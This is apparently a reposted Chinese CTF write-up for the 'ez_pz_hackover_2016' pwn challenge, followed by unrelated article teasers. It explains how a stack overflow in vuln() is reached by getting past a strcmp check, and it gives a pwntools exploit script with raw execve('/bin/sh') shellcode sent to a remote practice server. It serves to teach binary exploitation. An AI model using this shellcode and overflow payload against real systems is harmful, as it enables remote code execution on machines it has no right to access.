ez_pz_hackover_2016

ez_pz_hackover_2016

Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

32位,保护全关

int chall()
{size_t v0; // eaxint result; // eaxchar s[1024]; // [esp+Ch] [ebp-40Ch] BYREF_BYTE *v3; // [esp+40Ch] [ebp-Ch]printf("Yippie, lets crash: %p\n", s);printf("Whats your name?\n");printf("> ");fgets(s, 1023, stdin);v0 = strlen(s);v3 = memchr(s, 10, v0);if ( v3 )*v3 = 0;printf("\nWelcome %s!\n", s);result = strcmp(s, "crashme");if ( !result )return vuln((char)s, 0x400u);return result;
}

这里不存在漏洞点

void *__cdecl vuln(char src, size_t n)
{char dest[50]; // [esp+6h] [ebp-32h] BYREFreturn memcpy(dest, &src, n);
}

漏洞点在这里,通过上面输入的数据传进这里并执行栈

思路

我们需要计算不同函数栈的距离

需要绕过strcmp和memchr,\x00均可绕过,答案就呼之欲出了,

调好偏移,使返回地址指向shellcode就可以getshell了

参考

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27018,"./pwn",10)
context(os='linux', arch='i386',log_level='debug')
#debug('b *0x8048600')sc=b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
leak=get_addr_int()-(0x1c)
pl=b'crashme\x00'+b'a'*(0x12)+p64(leak)+sc
sla(b'> ',pl)ia()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/115014.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Elastic Stack 8.10:更简单的跨集群搜索和身份验证等等

作者:Tyler Perkins, Gilad Gal, Shani Sagiv, George Kobar, Michael Peterson, Aris Papadopoulos Elastic Stack 8.10 增强了跨集群和向量搜索、数据摄取、Kibana 和云注册。 配置远程搜索时获得更大的灵活性,并提供更多信息来分类问题,…

数据工程中的单元测试完全指南

在数据工程领域中,经常被忽视的一项实践是单元测试。许多人可能认为单元测试仅仅是一种软件开发方法论,但事实远非如此。随着我们努力构建稳健、无错误的数据流水线和SQL数据模型,单元测试在数据工程中的价值变得越来越清晰。 本文带你深入探…

YashanDB荣获“鼎新杯”数字化转型应用奖项

近日,深算院YashanDB 团队与深燃集团联合共建的深圳燃气集团数据库国产化建设项目,荣获第二届“鼎新杯”数字化转型应用大赛信息技术应用创新赛道二等奖!此次获奖,彰显了崖山数据库系统YashanDB自主领先的国产数据库技术优势和优秀…

阿里云服务器经济型e实例租用价格和CPU性能测评

阿里云服务器ECS推出经济型e系列,经济型e实例是阿里云面向个人开发者、学生、小微企业,在中小型网站建设、开发测试、轻量级应用等场景推出的全新入门级云服务器,CPU采用Intel Xeon Platinum架构处理器,支持1:1、1:2、1:4多种处理…

安装gpu版本的paddle

安装gpu版本的paddle python -m pip install paddlepaddle-gpu2.3.2.post111 -f https://www.paddlepaddle.org.cn/whl/windows/mkl/avx/stable.html以上支持cuda11.1版本 其他需求可查阅文档在这里

python 串口发送图片给arduino

python 代码 import serial import threading import time from PIL import Image from PIL import ImageSequence## im.show()##print(img) ## ####img b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00…

mySQL中查询统计俩个表相加COUNT之合

最近工作中需要用到查询语句结果为统计当前表和历史表加起来的数据之和需要把俩条数据的合加起来返回给我们: select count() from work_order_history where valid true and and state ‘8’ and create_time like ‘%20230901%’; 返回结果如下 另一条SQL如下&…

七天学会C语言-第六天(指针)

1.指针变量与普通变量 指针变量与普通变量是C语言中的两种不同类型的变量,它们有一些重要的区别和联系。 普通变量是一种存储数据的容器,可以直接存储和访问数据的值。: int num 10; // 定义一个整数型普通变量num,赋值为10在例…

【Proteus仿真】【STM32单片机】STM32脉搏血氧仪

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 系统运行后,LCD1604液晶显示心率、血氧和温度、时间日期; 如果心率、血氧超限则报警;蓝牙实时传输数据; 二、软件设计 /* 作者:嗨小易&#xf…

24个Docker常见问题处理技巧

1.Docker 迁移存储目录 默认情况系统会将 Docker 容器存放在 var/lib/docker 目录下 [问题起因] 今天通过监控系统,发现公司其中一台服务器的磁盘快慢,随即上去看了下,发现 /var/lib/docker这个目录特别大。 由上述原因,我们都知…

模式分类与“组件协作模式”

1. GOF-23 模式分类 从目的来看: 创建型(Creational)模式:将对象的部分创建工作延迟到子类或者其他对象,从而应对需求变化为对象创建时具体类型实现引来的冲击。结构型(Structural)模式&#…

Vue中如何进行跨域处理

Vue中的跨域请求处理:解决前端开发中的常见问题 跨域请求是前端开发中常见的问题之一。Vue.js是一款流行的前端框架,如何在Vue中处理跨域请求是每个Vue开发者都需要了解的重要课题。本文将深入探讨什么是跨域请求,为什么它会出现&#xff0c…